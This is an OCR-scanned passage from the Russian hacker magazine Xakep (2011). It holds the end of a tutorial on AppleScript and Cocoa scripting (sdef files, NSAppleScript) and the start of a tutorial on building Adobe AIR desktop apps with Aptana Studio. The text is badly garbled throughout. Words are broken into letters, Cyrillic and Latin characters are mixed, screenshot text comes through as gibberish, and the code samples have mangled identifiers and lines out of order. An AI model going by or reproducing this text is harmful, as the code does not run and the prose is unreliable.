сценарии для выполнения сравнительно п ростых задач часто в ы глядят ка к обраще н и е к другим п р иложе н и я м , В п рочем, п осле существенной перестройки системы п р и переходе к л и нейке Мас 05 Х язык Apple5cript стал боле гиб­ ким и мощн ы м , а новый фреймворк Сосоа позвол ил разработч и ка м встраивать в с в о и п р иложения возможность автоматизации с помо­ щью Apple5cript'a с м и ни мальны м и усили я м и ,

Простой сценарий

Дл я редакти рова н и я и и с п о л н е н и я скри птов мы будем и с пользовать ста ндартн ы й 5cript Editor. Н а йти е го можно в

� 1 02

п а п ке /Ар рliсаtiоп/А р р lе5сгiрt. Для начала н а п и ш е м п ростой « Н еllоWогld ' н ы й » с к р и пт. display alert

" He l l o World ! "

say " He l l o World"

# Покажем диалог

# Вывод в колонки

Объяснять тут, думаю, ничего не нужно, но хочется отметить крайне п ростой доступ к синтезатору речи из Apple5cript с помощью команды say. Вот это и есть настоящее общение с пользователем в стиле Apple J Конечно же, этот диалог можно легко кастомизировать. Например, добавить нужные кноп ки : Панель с дополнительными кнопками display a lert

" He l l o World ! "

buttons

{ " Hel l o " ,

" Вуе " }

set answer to button returned of the result if answer is

" He l l o "

then

else

end i f

Теперь напишем что-нибудь более полезное. Например, дадим поль­ зователю выбрать файл и п рочитаем его содержимое: # Панель выбора файла set theF i l e to

( choose f i l e with prompt

" Select а f i l e to read : "

o f type

( " ТЕХТ " } )

ореп fo r access theF i l e

Х А К Е Р 03 / 1 46/ 2 0 1 1


806

.. St.иtd.&td SUitt' " JТUIМ:S Suitt

.. o.HtS.

.<Id tшk tr.l.сk

(orwtft '..st (�,d nut troк.... рмо..

pbv 1»11>'''''

rtwrnt (Mnd �"f<h

"ОР Iфdotc .. Imtt!'Ж S"i't

..fi:l.lТunt$.l.sdktio�ry

nш,·rrt· ('оп�'(пОМQ[lDQf(61(1осImckc convert . 1<1 1 о, rcte,�(e -- th� fi�$)lrriЮ<$($) 10 conVl!ft Re>uh: troКk -- гe'�ence /0 conVl!fted /fl>d«

(1#rOOtard;жiо(ot»jКdjoi1QI,yj(tc 100 t...t t_"rd

S)

l'

ntх1 'М" зdxanrr'9'Ьс:та''ооjn'ьс"'[КОIо'QЮis next tradl раuз- 1blU"'p!Q)'bgck pII use

.";plAY111<сип'М100or,ьсюcciбcd!rJ!:kОС6k ре.у re(e<f<I<:e -- lIеm 10"юу

R1a..,ращс" ИМ:GkФсotO)inglP:MHgtЯЗI'gfIbссуто' ШК'k • pe..ypaUM h.

Hello world

Функциональность, которую iТunes экспортирует в AppleScript

Наш скрипт в Script Editor

# Читаем контент set

f i 1eContents to

( read theF i 1 e )

c 10se access theFi1e

На этих при мерах хорошо видна основная идея AppleScript - он очень близок к живому а н глийскому языку, Поэтому читать скрипты легко даже для человека, далекого от кодинга, Каждая команда­ гла гол может быть допол н ена существител ьными-модификаторами и параметрам и ,

Взаимодействие с приложениями

Для взаи модействия с други ми приложе н и я м и AppleScгipt использует механизм сообщени й :

создания и выполнения в Сосоа-приложе н иях скриптов существует класс NSAppleScript, Вот простой при мер его использования - реа­ л изация получения у приложения iChat строки статуса пользовател я , NSApp 1 eScript * iChatGetStatusScript = ni 1 ; iChatGetStatusScript =

[ [NSApp 1eScript а 1 1ос ]

ini tWithSource : @ " t e l l app l i c a t i on \ " iChat \ " t o get status message " ] ; NSString * statusString = [ [ iChatGetStatusScript executeAndReturnError : &errorDic t ]

t e 1 1 app 1 i c a t i on quit end t e l l

С помощью команды tell выби раем приложение, которому м ы будем отправлять сообщение, В да н ном случае мы просим MS Word завер­ ш иться, В блоке « tell - end tell» может быть отправлено любое коли­ чество команд. Сообщени я , которые отсылаются приложению, могут быть и более специфич н ыми. Все зависит от того, ка кие команды реа­ лизовали его разработч и ки, iTunes, например, экспортирует довольно м ного команд и свойств в среду AppleScript: Запускаем нужный плейлист в iTunes t e 1 1 app l i ca t i on

" iTunes "

р1ау the p 1 ay 1 i s t named " Му Favor i t e " end t e l l

Узнать набор сообщен и й и т и п о в данных, которые приложение экс­ портирует в среду AppleScript, можно, посмотрев его терми нологию [файл AppName,scriptRerminology в ресурсах п риложенияl. Для этого в Script Editor'e пойдем в меню «File -7 Ореп Dictionary -7 и выбе­ рем нужное приложение, Чтобы тебе было п роще работать с классами и командами, котор ы е экспортирует приложение, они орга низованы в раздел ы, В с е п рило­ жени я , которые поддерживают скриптинг, имеют хотя бы два раздел а : один стандартн ый и один из более специфичных для данного п р и ­ ложения разделов. Стандартн ый раздел содержит набор стандартных команд, которые поддерживает любое Мас-приложение: ореп, print, close и q u it, Содержа н и е остальных разделов зависит от фантазии разработчиков. ",» ,

Вы полнение AppleScript из своего п риложения

Если ты пишешь приложение на Objective-C/Cocoa, то возможно, что некоторые вещи будет удобнее сделать с помощью AppleScript, Для ХАКЕР 03 / 1 46/ 2 0 1 1

s t ringVa1ue ] ;

" Microsoft Word "

Возможно, то же самое можно сделать и другим путем, не используя созда н н ы й во время выполнения скри пт, но вряд ли альтернативный код будет выглядеть проще, чем этот, Есл и скрипты большие, можно хран ить и х в ресурсах бандла и читать при необходимости.

Автоматиза ция в с:осоа -при"'ожении

О ч е н ь п о л е з н о доба влять п одде ржку с к р и пти н га в с в о и С о с о а ­ п р иложе н и я , в едь если в твоем п р иложе н и и е с т ь и нте р ф е й с к AppleSc r i p t , т о п ол ьз о вате л ь , н а п и са в н ескол ько стр о ч е к н а A p p le S c r i p t , с м ожет касто м и з и р о вать е го для с в о и х нужд и и нте г р и р о вать с друг и м и п р иложе н и я м и , кото р ы е у н е го уста­ н о вл е н ы , а зате м , н а п р и м е р , а втомати з и р о вать р е ш е н и е рути н ­ н ы х зада ч . Чтобы экспортировать типы и команды в среду AppleScript, необходи­ мо их описать в специальных файлах, Есть возможность сделать это в файлах ,scriptSuite и .scri ptTerminology или в одном файле с рас­ ш и рением .sdef, В обоих случаях файлы имеют формат X M L, но с sdef работать проще, Содержимое файла scriptTermonology отображается в Script Editor'e при п росмотре словаря приложения, Этот файл содержит описан и е экспортируемых в AppleScript объектов, Открыв sсгiрtSuitе-файл в Plist Editor'e, можно видеть, что он содер­ жит следующие основные раздел ы : • AppleEventCode - четырехбуквен н ы й код, который идентифицирует приложение для среды AppleScript [код должен быть уникальн ы м в рамках одной систе м ы l ; • N a m e - и м я раздела, который содержит экспортируемые команды и классы , Разбирать внутреннее устройство этих файлов особого смысла н ет, так как тебе скорее всего придется и меть дело только с sdеf-файлами, Пример sdеf- файла < 7хт1 version= " 1 _ 0 "

encoding= " UTF - 8 " 7 >

� 1 03


.. 1row�trOcкUlNnt "lrowstrT�b'v'itwtltm .. Comrn.lnds

�r,",r�I.;:,o""IIJ"�LIIIIC В

Plist Editor-e

< ! DOCTYPE d i c t ionary SYSTEM

" f i le : / / 1 oc a 1 ho s t /

System/L ibrary/DTDs / sde f . dtd " > S c r i pt ingDe f in i t i on s / CocoaStandard . s d e f "

< di c t i onary t i t l e= " My App 1 i ca t i on Termino1 ogy " >

xpo inter= " xp o in te r ( / d i c t ionary / su i t e ) " / >

< ! - - Кастомный раздел - - > < s u i t e пате = " Му App 1 icat ion S c r i p t i ng " code= " XXXX"

< su i t e name = " S c r ip t ing "

code= " VVVV "

des c r ipt i on= " Te s t S c r ip t i ng " >

descript ion= " Commands and c 1 a s s e s " >

< c l a s s name = " app 1 i caton "

<c1asses> < c l a s s name = " app1 i c a t i o n "

code = " capp "

desc r i pt ion= " " >

code= " capp "

<сосоа c l a s s = " NSApp l i c a t i on " / >

des c r ipt ion= " " inher i t s = " NSCoreSu i t e . NSApp 1 i c a t ion " >

< ! - - Экспортируем одно readon1y свойство

<сосоа c 1 a s s = " NSApp 1 i c a t ion " / >

у app 1 i cat ion - - > <property пате = " myprop "

<propert i e s > < ! - - экспортируем одно свойство - - >

code = " Smrp "

<property пате = " some va1ue

access= " r " / >

code= " sva 1 "

'

type= " s t r i ng "

descript ion= " A va1ue

">

<сосоа method= " va 1 ue " / >

type= " s t r ing "

< / c1ass> </ suite> < / d i c t i onary>

< /property> < / propert i e s > < /c1ass> < / c 1 as s e s > < / su i t e > < / d i c t i onary>

в s d e f ' e с к р и п ти н г-те р м и н ол о г и я с м е ш а н а с п о д р о б -

н ы м о п и са н и е м ко м а нд и т и п о в , кото р о е м о ж н о н а йти в , s с гi р t i п g S u i t - ф а й л а х , Р е а л и з у е м это на п р а кт и к е , созда в С о с о а - п р ил оже н и е , п одде ржи в а ю щ е е А р р lе S с г i рt i п g , Дл я этого в н о в о м С о с о а п р о е кте д о б а в и м в ф а й л I n fo , p li s t ф л а ­ ж о к S c r i p t i n g и О S А S с гi р t i п g D е f i п i t i о п с и м е н е м н а ш е го s d e f ­ файла : Info . plist

И та к , из A p p l e S c r i p t ' a у н а с досту п н о одно с в о йство т у р го р , Оста л о с ь н а п и сать O b j C - КОА, кото р ы й будет о б р а ­ батывать чте н и е да н н о го с в о й ства и з с к р и пто в , Д л я это го нужно с оздать кате го р и ю N S A p p l i ca t i o n , п о с к о л ь ку и м е н н о этот к л а с с м ы в ы б р а л и в ка ч е ст в е п олуч ател я с о о б щ е н и й от с к р и пто в , # import <Cocoa/ Cocoa . h> @ in t e r f a c e NSApp1 i c a t io n

-

( NS S t ring * )

( Sc r i p t i n g )

myprop ;

@end

@impl ementat ion -

( NS S t r ing

*)

NSApp 1 i ca t ion

( Sc r ip t ing )

myprop

<key>NSApp 1 e S c r i p t Enabl ed< / key> return @ " Th i s

< t ru e / >

is ту property " ;

<key>OSAScript i ngDe f i n i t i on < / key> < s t r i ng >Scr t ip t ing . sde f < / s t r i ng >

Доба в и м к проекту файл Script i n g , sdef следующего содержа н и я : Scripting . sdef < ?хт1 ver s i on = " l . O "

t e l l app l i c a t io n епсоdiпg= " UТF- 8 " ? >

< ! DOCTYPE d i c t i onary SYSTEM " f i l e : / ! l o c a 1 ho s t / Sy s t em/ Library / DTDs / s de f . dtd " > <di c t i onary xm1ns : x i = '' http : / /www . w3 . org/ 2 0 0 3 / X l nc 1ude '' t i t 1 e= " S c r i p t i ng d i c t i onary " > < ! - - Включим стандартные команды / типы - - > <xi : inc 1ude h r e f = " f i 1 e : / / / Sy s t em/Library/

� 1 04

Есл и м ы теперь из AppleScript обратимся к свойствам н а ш е го п р и ­ ложе н и я , т о у в и д и м среди н и х свое свойство и е го з н а ч е н и е : " Sc r i p t ing "

propert i e s end t e l l

З а кл ю чение

Конечно, о п и сать здесь все возможности AppleScript и его взаимо­ действия с Сосоа - п р ил оже н и я м и невозможно, Да это и н е нужно - для этого есть мануал ы , А м ы со своей сторо­ н ы п р одолжим цикл статей о код и н ге под э п пловские платформы и расскажем тебе е ще м н о го нового и и нте ресного , ::Х:: ХАКЕР оз / 1 46/ 2 0 1 1


• • И го р ь « 5 p i d e r_N E T» А н т о н о в .

vr-ontine.ru

....ы имM СВЕЖИМ AIR'OM

8 кур иваем в АЦрЬ е AIR ф к рg сс п ла тdJ о р ме нную ср еду для о н лаи н- и о ф Л�ИН-КОДИ�-Гd С) В ремя

идет и все меняется. Кто б ы мог подумать , что станет возможным писать десктопные приложения при помо щ и связки web -технологи й HTML+CSS+JavaScript . А ведь э то реально уже три года ! После появления технологии Adobe AIR взгляд на разра б отку « настольного » программного о б еспечения изменился. -

Платформа A I R н е только внесла новизну, н о и существен н о с н изила план ку для желающих попасть в ряды девелоперов. Это н е С++ с кучей непонятных WiпАРI. В AIR все гораздо п роще, и для созда ния профессиональных п р иложений не нужно быть гуру програм м и рова­ ния. Немного терпения, чтение попсовых мануалов - и вуаля : ты раз­ работч и к современных решений.

What is Adobe AIR Н а ч н е м с о п р едел е н и я . Adobe A I R [Adobe I nt e g rated R u nt i mel это кроссплатфор м е н н а я с реда для в ы п ол н е н и я п р иложен и й .

� 1 06

-

П риложе н и я для этой платф о р м ы разрабатываются с п р и м е ­ н е н и е м техн ол о г и й H T M L!CSS, AJax, A d o b e Flex и Adobe Fla s h . О с н о в н ое н а з н а ч е н и е платф о р м ы - п е р е нос web - п р ил оже н и й [ R I A - R i c h I nternet Applica t i o n s l н а дескто п . О д н о й из гла вн ы х ф и ш е к A d o b e A I R , безусл о в н о , я в л я ется крос­ с платфо р м е н н ость. Уже сейчас созда н н ы е п риложе н и я п р е ­ красно работают н а м н о ги х платфо рмах [Wi n d ows, M a c O S , L i n u x , QNX, A n d roi d l , кол и ч ество кото р ы х в будущем будет только расти. Ув ы , в этом с п иске п о ка н ет Wi n dows M o b i le/Win dows P h o n e . Н е со м н е н н о , этот ф а кт о г о р ч и т н е кото р ы х разработч и ко в , н о м а й Х А К Е Р 03 / 1 46/ 2 0 1 1


М инусы АIR-п риложений Н е смотря на все гро мкие слова, у А I R - п риложе н и й есть ряд ми­ нусов . На мой взгляд, гла в н ы й и з них - кастрированный доступ к операционной системе. Настол ьные приложения в этом контек­ сте однозначно в ы и грывают. Есл и тебе нужен фун кционал A I R­ п р иложе н и я , но тебя не устраивают огра н и ч е н ия в плане доступа к возможностям ОС, то обязательно присмотрись к проекту Тitа п i u m !см. соответствующую врезку] .

крософтов с к и е мобил ь н ы е подел ки в настоящее в р е м я посте п е н ­ но сдают свои позици и , та к что п ро цент о горч е н н ы х о кажется не та ким уж знач ител ь н ы м . П о с л е п рочте н и я всего в ы ш е с казанного может сложиться в п е ­ чатл е н и е , что п р ил ожен и я , созда н н ые на б а з е A d o b e AI R , н и в коем разе н е п р и годны к ра боте без соеди н е н и я с глобал ь­ н о й паути ной. Ведь, как в ытекает из о п р едел е н и я , основная зада ча технол о г и и - п е р е н о с web- п риложен и й на ко м п ьютеры п ользовател е й . Это н е совсем та к. П риложен и я дл я Adobe AI R м о гут в ы полнять зада ч и , и нте рнет для кото р ы х в о все не нуже н . Платформа п р едоста вл я ет и м доступ к н екото р ы м фун к ц и я м О С [файловые о п е р а ци и , буфер обме н а , техн ол о ги я d ra g а п d d ro p и та к дал е е ] .

Как работа ют АIR-п риложени я

А I R - п ри л ожен и я м о гут фун к ц и о н и ровать л и ш ь п р и нал и ч и и плат­ ф о р м ы [ и спол н ител ьной с реды] Adobe A I R . Ком п и л и руются о н и н е в дво и ч н ы й , а в п ро м ежуто ч н ы й код, кото р ы й и будет в ы полнять­ ся в среде Adobe A I R . Сл едовател ьно, если ты н а п исал нескол ько кач еств е н н ы х п ри л ожен и й п од Windows, то и в u п iх-likе с истем а х о н и будут работать с о в е р ш е н н о а налоги ч н о .

Что нужно .QI1Я разработки AIR­ п рИЛбжени'И

Итак, ты р е ш ил на чать разрабаты вать п р ил оже н и я для платф о р м ы A d o b e A I R . Ч т о д л я этого нужно? Как и в л юбом дел е, н а м потр е ­ буется трезвая гол ова на п л е ч а х . Б ыстре н ько п р о в е р ь ее нал и ч и е и возвращайся к те ксту статьи. В п л а н е п рогра м м н о го обеспечения тебе понадоб ится сама платформа AIR, S D K и те ксто в ы й реда ктор для набивания кода будущих п риложе н и й . П е р в ы е два и н гредие нта ты можешь взять с официал ьного са йта [get. a d o be.com/a i r/] . К редактору особых требова н и й н ет, п и сать код ты можеш ь хоть в нотпаде, но для удобства луч ш е всего вос пол ьз оваться с п е ц и а л и ­ з и р о в а н н ы м п родукто м . Е с л и т ы счастл и в ы й обладател ь толстого кош е л ь ка , то м оже ш ь п р и купить редактор от Adobe [ н а п р и м е р , D rea mweave r] , а есл и , к а к и я , предпочита е ш ь э ко н о м ить, то реко м е ндую воспол ьзо ваться бесплатным Арtапа S t u d i o [аgtа па . сот] . Те, кто хоть раз работал с Eclipse, в Арtа па S t u d i o будут чув­ ств о вать себя ка к рыба в воде - Арtапа полностью построена на Ecli pse, хотя о р и е нтирована сугубо на web-разра ботч и ков [ h t m l, css, j s ] . С разу из коробки Арtапа не гото ва сотруд н и ч ать с AI R - чтобы и с п р а в ить это, тебе п отребуется за грузить и уста но в ить с п е ци а л ь н ы й плагин [аgt а п а .соm/gгоduсts/аi г] .

Воздушный «Hello world»

С а м о е в р е м я з а ко н ч ить с за нудной тео р и е й и п о п робовать сот в о р ить п е р в о е п р ил о же н и е для платф о р м ы Ad obe A I R . Я надеюсь, что в кач естве среды разра ботки ты в ы б рал Арtа па Studio. Есл и та к , то п о вто р я й все ш а ги за м н о й , а если нет п ытайся разби раться по ходу дел а . Создай н о в ы й пустой п р о е кт и п р и с в о й ему и м я « H e lloWorld » . Обрати в н и м а н и е , что требуется и ме н н о пустой п р оект [ в кладка « G е п е га l � P roject» ] . В этом случ ае Арtапа создаст голую п а п ку ХАКЕР 03 / 1 46/ 2 0 1 1

..

a � Wtb . �.tICrIi .Apt.nl Studio

� SqЮ- frojed � t1ooIp ;Q С " . '" ; � - 1<: � � ' - �, :- '" '" -

et� iiI!I "PP"<.tioы;mI 2J �tder.html e C�j_ 6 '" @ (onn«tiono

.

Alqпentyaur Aptanll studiowlttt I WO!1CI ,Jass wYSrfIYG GeSIgner. МОЬе

�.

4' -

O !il iII . • - \'11 -

-

bttp•• q�"" � �lIt.nt.ч-ре . =t�t-.tlt"t/М.а.1: Char••t-Utt-S"

<sc=lpt typ<t··t."t/)."

.

I �! .

�..".

el" "3t Vl"'he",," nedЦ--..з.l" 1>

cr1pt· jI:c-·ны 1rI/IRA11&.

("C=1.pt t�-pe_·t...t/j.v••"r1pt·>

уа n

tl1e_lOrl " dDс=t. �t.lI.tl!:l

"."JЦ-th

j.·><I•.сr��">

.

nt!l у I<lI ·tll ._ш:J. · I . "al\l.'

dCX:-""'1'I�.Оес�t:lvoc,,�l!Vld " ( · ••�J>&�!I ·J

1'

- ...... a1.r URUI;

...r <lOOФlоаd_"�l . quec.� (rHec_""l) ; ...." ,.."ll�r", - ...... . '". !JRU�r"''''' !I :

-

_" !.l.l. ..... •.I.� . r.l.l. ! ) ' !11".na�t....Pa"!'I .aV9<J'a;.h; Уа

IAJR

-

l.!tr ""'О : на!;...... .. .... u.:: . r-�

111(:

pp ' /.!I1J:opl D<nm.loa<l..." . 1outl : 64 !In!I. ERII:Oa ,

1:.РР : /.!I�1 Dc:nrnlоаd :-.hС&1 : 65 !!"na. �iUlOR,

J,

L� � '" \>ISJ

'�... . .. . .... .. .. ..... .... .. ..... .. . .... ... .. t

<H::t hr"t-"сзз/.".,.l" . ....•

<tltle>t!poc;=A '"t'f:Y,-.. фаА.о:о :</ tltl >

.1ф � � 7.�� ��� "F.��� ����_� � 1 �: II--===l=-----п l �� ,

... ..

�:<b--.l.;. :.

lit hb

<;;.. tO<:al�osy<t"'" <G. LoClI Sllorttw

;) \> - О - Q. -

...

�> .u...".,,� or

t prop<:rly c.losed .

(10) .u.n."ted 0:- nc."

prOp<trlv

сlоиd .

Cl ф

Сl

[�:11

Aptana Studio существенно облегчает процесс разра­

ботки

с и м е н е м п ро е кта , которая не будет содержать н и ч е го л и ш н е го . Все, что потребуетс я , мы будем создавать самостоятел ьно. Хотя почему сам остоятел ьно? П осле уста н о в к и плагина дл я ра боты с A I R доступен с п е ци а л ь н ы й м а стер доба вл е н и я нов о го AI R ­ п р оекта . Для созда н и я с его п о м о щью нов о го проекта достато ч н о н ескол ьких кл и ков м ы ш ко й . Все ш а бл о н ы , конфи гурацио н н ы е ф а й л ы и структура проекта будут созда н ы а втомати ч е с к и . П ра вда, в м е сте со скоростью ты также п олуч и ш ь кучу н е п о нятного и ненужно го кода . С образовател ь н ы м и цел я м и луч ш е на чать п и сать руч ка м и , посте п е н н о разбираясь со в с е м и тон костя м и и н ю а н са м и . Ита к, п р едполож и м , что ты создал ч и сты й проект и готов твор ить. Следующим ш а го м н а м необходимо п р и нуди­ тел ьно о п р едел ить тип разрабаты ваемого п ро е кта. Заходим в « Properties» и в с п и с ке слева в ы б и ра е м « Proj ect N a t u res» . Сдел а в в ы б о р , в п р а в о й ч а сти о кна ты увиди ш ь с п и с о к возмож­ н ы х « п а t u геs» . Н а с и нтересует л и ш ь « AI R N a t u re». Уста н а в л и в а е м н а п роти в н е го флажок и ж м е м п и мпу с надписью « О К» . С т и п о м п р о е кта о п редел и л и с ь . Теп е р ь надо позаботиться о е го структуре. Здесь ч етких п р а в ил н ет - п о фа кту все созда в а е м ы е файлы ты можешь кидать в ко р е н ь проекта . Работать все будет п р а в ильно, но та кой подход нельзя назвать эстети ч н ы м . Луч ш е сразу в ы рабо­ тать п р а в ила и п ридержи ваться и х : пусть п е р в ы е структуры твоих п ро е кто в будут п росты м и , но гла в н о е , чтоб ы они был и . То есть все твои п ро е кты п о структуре должны быть хоть ка к-то похожи . С каждым оче редн ы м своим дети щем ты будешь п р о ка ч и вать свои н а в ы к и , и рано и л и п оздно найдеш ь опти мальн ы й в а р и а нт. П о ка ты тол ько н а ч и н а е ш ь в л и ваться в м и р А I R - разработч и ко в , я реком е ндую тебе п р идерж и в аться следующих п р а в и л : 1 . С о гл а ш е н и е об и м е н о ва н и и . З а руби с е б е на носу, что нужно с разу о п р едел иться с п ра в и л а м и и м е н о в а н и я ф а й л о в в п р о е кте. Есл и тебе удобно п и сать н а з в а н и я ф а й л о в с м а л е н ь ко й бук в ы , т о ста р а й с я т а к и делать. Н е нужно кажд ы й р а з л е п ить н о в ы й « ш едев р» . Это отн о с ится н е тол ько к ф а йл а м , н о и к и м е н а м п е р е м е н н ы х . Нужно п р идерж и в аться одного стиля . А е с л и стиля н ет, то ка к б ыть? Отв е ч а ю . Нужно см отреть дем о н стра ц и о н н ы е п р и м е р ы , п оста вл я е м ы е с S D K . И х п и сал н е а б ы кто, а л юд и , и м е ю щ и е с а м ое н е п о с р едст в е н н о е отн о ш е н и е к разра ботке платф о р м ы A I R . У н и х есть ч е м у п оуч иться . 2_ Дл я каждого типа файлов должна быть своя д и р е кто р и я . Разработка А I R - п р ил оже н и й о ч е н ь н а п о м и нает созда н и е т и п и ч ­ н о го web - п р о е кта - следо вател ьно, тут можно и нужно пользо­ ваться всеми в ытека ю щ и м и отсюда п р а в и л а м и [ в плане струк­ туры ] . Созда в а й дл я разл и ч н ы х т и п о в файлов соответствую щие д и ре кто р и и . Н а п р и м е р , все CSS, и спол ьзуем ы е п р о е кте, луч ш е в с е го х р а н ить в одн о и м е н н о й д и р е кто р и и . Это относится и к изо-

� 1 07


"'"

е

Connections

HelloWorld

.11

В этой врезке я привел html-код, который будет оформлять контент разрабатываемого приложения. Для первого приложения я не стал придум ы вать ничего особенного, а п росто решил вывести посередине изрядно всех доставшую фразу « Hello, World» I H a самом деле это я запретил ему использовать фразу « F**ck you , World», а ничего лучше он придумать н е смог - прим.ред.l . Сохран и код, а затем открывай для редактирования файл application.xml. Этот файл п редназначен для хранения настроек АIR-приложения, и по-научному его принято называть дескриптор приложения. В дескрипторах хра н ится вся необ­ ходимая информация о приложени и : номер версии, оформление окна, назва ние, идентификатор и прочее. В своем проекте я дал дескрип­ тору имя application.xml. Это имя не я вляется обязател ь н ы м , поэтому ты можешь обозвать свой дескриптор как угодно. Внутренности моего дескриптора я привел в о врезке « Внутренности дескри птора» . Неожиданно, ведь правда?

images

� � j ffi ..

.

..

. .···

Внутренности дескри mора < ?xm l version= " l . O "

js

application . xml

< id>com . xakep . Hel l oWorld< / id> < f i lename>Hel l o World< / f i l ename>

HelloWorld . html

<version> 1 . 0 < / vers ion> < t i t le>Hel l oWor ld App l i c a t i on< / t i t le>

Connections

< i n i t i a lWindow> <content>Hel l oWorld . html< / content> <vi s ible>true< /vis ible> <height > l O O < /height>

Local Shortcuts

<width>З О О< /width> <x> l O O < /x>

FTP

<y> l O O < /y>

Структура проекта « HelloWorld» браже н и я м , JаvаSсгi рt-сце н а р и я м , и ко н ка м и та к дале е . В своих п р о е ктах я п ридержи ваюсь примерно та кой структур ы : «Проект» css

/ / директория хранит все с s s - файлы

js

/ / в этой папке хранятся все сценарии j s ДЛЯ

изображений

/ / конфигурационные файлы и другие основные файлы

П о п р о буем п о вторить в ы ш есказа н н ое на п р а кт и ке. Создай для п р о е кта три д и ре кто р и и : С55, i m a g e5, j5. Зате м в кор е н ь п ро е кта доба в ь два ф а й л а : a p plication.xml и H elloWorld . h t m l . М о ю структу­ ру п р о е кта ты може ш ь увидеть на соответствующем р и сунке. Те п е р ь воз ь м е м ся за редакти рова н и е созда н н ы х файлов. Н а ч н е м с H elloWorld . html. Этот файл является контентом п р ил оже н и я . П од контентом я подразумеваю о с н о в н ое содержимое п р о е кта . Здесь м о гут быть ука з а н ы как h t m l - , та к и 5wf-фаЙл ы . В своих при мерах я буду о р и е нтироваться н а html- конте нт. Ита к, отк р ы ­ вай файл H e lloWorld . h t m l в реж и м е редакт и р о ва н ия кода и н а п и ­ ш и в н е м код из врезки « Содержи м ое H elloWorl d . h t m l» . Содержимое He!!oWor!d . htm! <html> <head> < t i t le>He l l o World from AIR< / t i t le>< /head> <body> <center><hl >HELLO , WORLD ! < /hl></ center> < /body> < / html>

� 1 08

< / i n i t i alWindow>

Connections

images / / папка

?>

app l i c a t i on / l . O " >

Local Filesystem

encoding= " u t f - 8 "

<app l i c a t i on xmlns= ''http : / /ns . adobe . com/ a i r /

< / appl icat i on>

П о п робуем разоб раться в то м , что я здесь накарябал. В самой п е р в о й строчке я описываю объявл е н и е XML. Далее отк р ы в а ю начало эле м е нта а р рliса t i о п - это о с н о в н о й э л е м е нт и о н долже н содержать в себе все другие э лементы , о п и с ы в а ю щ и е дескри п ­ тор. С а м же a p plication должен содержать атри бут х m l П 5 с ука­ за н н ы м путем к п ространству и м е н X M L . Существует н е с кол ь ко п ростр а н ств и м е н дл я A I R - п риложе н и Й . Гла в н о е их отл и ч и е - н о м е р верс и и . Я указал п е рвую. Для бол ь ш и нства п р и л оже­ ний нужно п оступ ать та к и м же образо м . А к ч е му относится этот н о м е р верс и и ? П од этим н о м е р о м подразум е в а ется м и н и м альная в е р с и я платф о р м ы Adobe AIR, н еобход и м а я дл я в ы п ол н е н и я п р и ­ л оже н и я . В нутр и эле м е нта a pplication у м е н я располага ется е щ е р я д элем е нтов : • id ун и ка л ь н ы й идентиф и катор А I R - п р иложе н и я . Официал ьная документация рекомендует испол ьзовать з н а ч е н и я формата « со т . имя_издатеЛ Я . назван ие_приложен и я » . М а кс и мальная дл и н а иден­ тификатора может составлять 2 1 2 с и м волов; • f i l ename имя а i г- ф а Й л а . П о м и м о и м е н и , это з н а ч е н и е и сп ол ьзуется в кач естве н а и м е н о в а н и я п риложе н и я во в р е м я и н сталля ц и и I п р и усл о в и и , что отсутствует эле м ент n a m e l . • vers i on - в е р с и я п ри л ожен и я : • t i t l e - з а головок окна и н сталлято р а ; • i n i t i a l W i ndow - эл е м е нт отве ч а ет за контент и е го п ред­ ставл е н и е . В качестве конте нта может быть как 5wf- , та к и h t m l­ файл IB н а ш е м случ а е l . Д а н н ы й эл е м е нт м ожет содержать дочер­ ние эл е ме нты : • cont ent - и м я файла с контентом п р ил оже н и я ; • v i s ib l e - видимость п р ил оже н и я ; width - ш и р и н а о к н а п р ил ожен и я ; he i ght - вы сота о к н а п р иложе н и я ; • Х - коорди н ата п оз и ц и и н а о с и Х ; • у - коорди ната п о з и ц и и н а оси У ; -

-

Х А К Е Р 0 3 / 1 46/ 2 0 1 1


.

Простой 3агруэчик файлов:

][

ка ч а л ка

lc::J"ф@) 0. 1 . 1

http:// сохранять: C:\temp\

Что качать:

[

Куда

Скачать!

.

--.J

)

.

][

- п роз р а ч н ость о к н а ; - возм ожн ость и з м е н е н и я раз м е ра о к н а ;

ка ч а л ка

Что качать:

Ihttp://\

C:\temp\

0. 1 . 1 I

---

Куда сохранять :

Немного CSS

8ЬIГЛЯДИТ неприятно?

l= ! @)

Простой 3аГРУЭЧИ К файлов:

J

[

Скачать!

)

- и наше приложение расцвело

• t ran spar e n t •

r e s i z ab l e

и т.д. В дескрипторе также м о гут п р и сутствовать другие элементы . О н и х т ы узн а е ш ь , прочита в официальную докум ента цию и л и заметку на моем сайте vr-onlin e. ru/content/adobe-air-d i rective5-2003. На этом м ожно считать, что п роцесс разработки п росте й ш е го п риложе н ия для платф о р м ы Ad obe A I R зав е р ше н. П о п робуем е го п ротести ро­ вать. Жмем в Арtапа 5tudio кнопку « В ы полн ить» и л и цезреем п о ка не о ч е н ь красивую карти н ку [смотри соответствующий рисунокl. Наше п р ил ожен и е готово, н о в ы гл ядит оно, м я гко говоря, не о ч е н ь. Да и фун кционал в нем сом н ител ь н ы й . Хорошо, сейчас мы н е м но го усложн и м задачу и дора бота е м н а ш « H ello Wo rld» до более и нтересного состо я н и я .

Делаем качал ку файлов

я долго думал, какой при м е р стоит рассмотреть, и решил оста но­

виться н а созда н и и п р осте й ш е й качалки файлов. Почему и м е н н о качалки? Так ведь а л горитм получ е н ия информации с уда л е н н ы х серверов нужен сплош ь и рядо м , поэтому рассмотр е н н ы й п р и м е р­ ч и к обязател ьно п р и годится в будущем. Добавь в Apta na 5tudio н о в ы й проект и п рисвой ему имя « 5i m ple O owload». С разу же п р и ведем свежесозда н н ы й п р о е кт к еди ной структуре - создай в п а п ке проекта дополн ител ьные п а п к и : С55, j5, i mage5. Я уже говорил , что п р и в ы кать к п ра в иль­ н ому нужно с самого начала. Следующим твои м действи е м будет созда н и е фа йла-дескриптора для будущего п риложе н и я . Е го код я п р иводить не стану, та к ка к он полностью иденти чен тому, кото­ р ы й написан во второй врез ке. Скоп и руй его и л и набери заново, а после этого созда вай файл 5i mрlе Ооwпlоаd е г. html. Ты уже з н а ­ ешь, что в этом ф а й л е будет располагаться основная програ м м ная н а ч и н ка н а ш е го п риложе н и я . С разу же н а р и суем в этом файле и нтерфейс. H T M L - KOA элементов управл е н и я я п р и вел во врезке « Делаем и нтерфейс п риложения». Делаем и нтерфейс приложения <body> <center><hl > ] [ качалка O . l . l < / h l > < / center><br / ><br / > <b><label с l аs s = " lаЬе l " >Что качать : < i nput type= " text "

< /Ь>

i d= " f i le_url " value= '' http : / / ''

